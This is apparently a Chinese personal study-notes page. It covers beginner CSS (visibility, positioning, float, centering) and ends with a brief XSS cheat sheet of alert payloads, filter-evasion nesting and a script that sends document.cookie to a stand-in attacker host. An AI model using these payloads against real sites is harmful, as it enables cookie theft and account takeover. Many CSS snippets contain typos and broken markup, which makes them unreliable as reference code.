HTML&javaSkcript&CSS&jQuery&ajax-XSS
一、CSS 标题隐藏
1、 <sytle>h1.hidden {visibility: hidden;}
</style>
<body> <h1>这是一个可以看见的标题</h1>
<h1 class="hidden">这是隐藏的标题</h1></body>该元素被隐藏了，但是占得空间任然存在
2、<style>
h1.hidden{dispaly:none;}</style>
<body><h1 class="hidden">这是一个隐藏标题</h1></body> display 的属性 空间会被替换
3、<style>li{displey:inline;}</style> <!--显示为内联元素--><body>
<ul><li><a href="/html/" target=_blank";>HTML</a></li></ul></body>
4、<style>span{
display:block;}</style>
<body>
<h2>NIRDD</h2>
<span>KJNLKSDN</span></body>
5、CSS Positioning position 属性定位了元素的位置
<style> p.pos_fixed{
position:fixed;
top:30px;
right:50px;}</style>
<body><p class="pos_fixed" >Some more text </p></body>
6、relative 定位相对于定位元素的正常位置
<style> h2.pos_left{
position:relative;
left:-20px;}
h2.pos_right{
position:relative;
left:20px;}</style>
7、absolute定位 位置相对于自己最近的父位元素，如果没有该元素则相对于HTML
<style>
h2{position:absolute;
left:100px;
top:150px;
}</style>
<body><h2这是一个绝对定位的元素></h2></body>
8、重叠元素的定位
元素的定位于文档流无关，所以可以覆盖页面上的元素， Z-index属性指定了一个元素的堆叠顺序，一个元素可以有正数和负数的堆叠顺序
<style>img{position:absolute;
left:0px;
top:opx;
z-index:-1}</style>
<body><h1>这是最上面显示的一层</h1>
<img src="ww.gif" width="100" heigth="23" /></body>
9、CSS Float 属性设置
图像的浮动 <style>
img{float:right;
}</style>
<body>
<p>图片浮动，文字会绕着图片</p>
<img src="logcss.gif" width="3" height="3" >
<p>JKLJDPF</p></body>
如果将几个浮动的图片放到一起，则图片会相邻排序
<style>.thumbnail{
float:left;
width:100px;
height:0px;
margin:4px;}</style>
<body>
<img class ="thumbnail" src="s.gif" width="1" height="2" >
<img class ="thumbnail" src="t.gif" width="1" height="2" >
<img class ="thumbnail" src="g.gif" width="1" height="2" >
<img class ="thumbnail" src="h.gif" width="1" height="2" ></body>
10、元素浮动之后周围的元素会重新排列，为了避免这种情况，使用clear属性，clear属性指定元素两侧不能出现浮动元素
使用clear属性王文本中添加图片的轮廓
<style>
.thumbnail{
float:left;
width:100px;
height:90px;
margin:3px;}
.text_line{
clear:both;
margin-bottom:2px;}</style>
<body><img class="thumbnail" src="/image/tian.gif" hreight="23" width="32";>
<img class="thumbnail" src="/image/tian.gif" hreight="23" width="32";>
<img class="thumbnail" src="/image/tian.gif" hreight="23" width="32";>
<h3 class="text_line">第二行</h3>
<img class="thumbnail" src="/image/tian.gif" hreight="23" width="32";>
<img class="thumbnail" src="/image/tian.gif" hreight="23" width="32";></body>
11、CSS布局 水平&垂直对齐 元素居中
要水平居中对齐一个元素如<div>可以使用margin :auto; 涉及到元素的宽度防止它溢出到容器的边缘，元素通过制定宽度，并将两边的空边距平珏分配
<style>
.center{margin:auto;
width:60%:
broder: 3px solid rgb(12,23,23);
padding；10px;}</style>
<body>
<div class="center"><p>KJJJPJ</p></div></body>
12、文本居中对齐
<style>
.center{
text-align:cener;
border: 3px solid green;}</style>
<body><div class="center"><p>文本居中对齐</p></div></body>
13、图片居中对齐
<style>img{display:block;
margin: 0 auto;
4}</style>
<body><img src="www.baidu/od.gif" alt="psds" style="width：40%”;></body>
二、XSS跨站脚本
1、常见的XSS代码SHEET
<script>alert(1);</script> <script>alert("XSS") </script> <script src="http:www.evi.com/cookie.php"></script>
<script>location.href="http://ww.evi.com/cookie.php?cookie="+escape(document.cookie)</script>
<src<script>ipt>alert("XSS");</src</script>ipt>
2、利用<>标记注入 HTML/JavaScript
<scirpt>shellcode</script>
3、<table background="javascript:alert(/XSS/)”></table>
<img src="javascript:alert('XSS');"/>
HTML&javaSkcript&CSS&jQuery&ajax-XSS的更多相关文章
- XSS-HTML&javaSkcript&CSS&jQuery&ajax
1.设置不同的样式列表 <style> ul.a{list-style-tyrp:circle;} ul.b{list-style-type:square;} ul.c{list ...
- java-HTML&javaSkcript&CSS&jQuery&ajax
CSS 伪装 1.<style>a;link{color:#000000} a:visited{color:#000000; a.:hover{color:#FF00FF} a:acti ...
- HTML&javaSkcript&CSS&jQuery&ajax（十）
HTML 1.SVG直接嵌入HTML网页 ,SVG 是使用XML描述2D图像的语言,Canvas通过JavaScript来绘制2D <svg xmlns="http://www.w3. ...
- HTML&javaSkcript&CSS&jQuery&ajax（八）
一. <!DOCTYPE html><html><head><meta charset="utf-8"><tiitle> ...
- HTML&javaSkcript&CSS&jQuery&ajax（七）
’一.HTML5 实例 <video width="430" controls> <source src="mov_nnn.mp4" t ...
- HTML&javaSkcript&CSS&jQuery&ajax（五）
一.Framset标签定义了每个框架中的HTML文档, 1. <framset cols="25%,75%"> <frame src="frame_a. ...
- HTML&javaSkcript&CSS&jQuery&ajax（四）
一.HTML创建响应设计 Responsive Web Design 可以改变尺寸传递网页,对于平板和移动设备是必须的 1.<!DOCTYPE html><html lang=&qu ...
- HTML&javaSkcript&CSS&jQuery&ajax（三）
一.HTML块元素 1.块级元素 Block level element ,内联元素 inline element , HTML<div>元素属于块级元素,他是组合其他HTML元素的容器, ...
- HTML&javaSkcript&CSS&jQuery&ajax（二）
一.HTML 1.标签<a href="http:www.baidu.com">This is a link </a> <img sr ...
- java-HTML&javaSkcript&CSS&jQuery&ajax( 八)
一.JavaScript教程笔记 1.在web页面中一般使用JavaScript脚本语言,支持跨平台,跨浏览器,驱动网页,与用户交互.另外Node.js把JavaScript引入到了服务器端. Jav ...
随机推荐
- 20165234 2017-2018-2《Java程序设计》课程总结
2017-2018-2<Java程序设计>课程总结 一.作业链接汇总 每周作业链接 预备作业一:我期望的师生关系 预备作业二:学习基础和C语言基础调查 预备作业三:Linux安装及学习 第 ...
- C#解析"a=1&b=2&c=3"字符串，微信支付返回字符串，替换<br>为&
原文来自: http://www.mzwu.com/article.asp?id=2802 C#可用: 若该字符串是使用Http Get发送,url?a=1&b=2&c=3,使用下边代 ...
- 2017-2018-2 20165231实验二《Java面向对象程序设计》实验报告
实验报告封面 课程:Java程序设计 班级:1652班 姓名:王杨鸿永 学号:20165231 指导教师:娄嘉鹏 实验日期:2018年4月16日 实验时间:13:45 - 15:25 实验序号:实验二 ...
- 椭圆曲线密码学ECC
椭圆曲线密码学(Elliptic curve cryptography),简称ECC,是一种建立公开密钥加密的算法,也就是非对称加密.类似的还有RSA,ElGamal算法等.ECC被公认为在给定密 ...
- CAN总线芯片SN65HVD230QD介绍
CAN总线硬件电路如上,采用芯片为SN65HVD230QD,从TI获得的芯片手册,可知该芯片参数为: 3.3V供电 低电流为370uA典型值
- Vue父子组件和非父子组件传值问题
父组件跟子组件之间的传值(具体参考lonzhubb商城) 1.父组件传值给子组件形式,ifshop是要传的对象,右边ifshop代表要传的这个对象的数据,如果只是传常量,那么属性可以不用加':'(表示 ...
- 纪念一下我对Kalman的无限崇拜之情
今天用Kalman来求线性预测模型的系数,和LMS一对比,天啦噜,我感叹了半小时．．． 和LMS需要选合适的步长,样本序列需要足够长,迭代次数需要足够多,相比,卡尔曼真是帅呆了!不需要步长!不需要蒙特 ...
- boost.log在项目中应用
//头文件#pragma once #include <string> #include <boost/log/trivial.hpp> using std::string; ...
- Alpha 事后诸葛亮
前言 事后诸葛亮?作业名真的不好听,下一届还要沿用吗? 队名:小白吃 通向hjj博客的任意门 思考总结 设想和目标 我们的软件要解决什么问题?是否定义得很清楚?是否对典型用户和典型场景有清晰的描述? ...
- openwrt页面显示问题修改
页面显示错误如下: 在不应该的位置显示了这个,查看配置文件: config igmpproxy option quickleave '1' config phyint o ...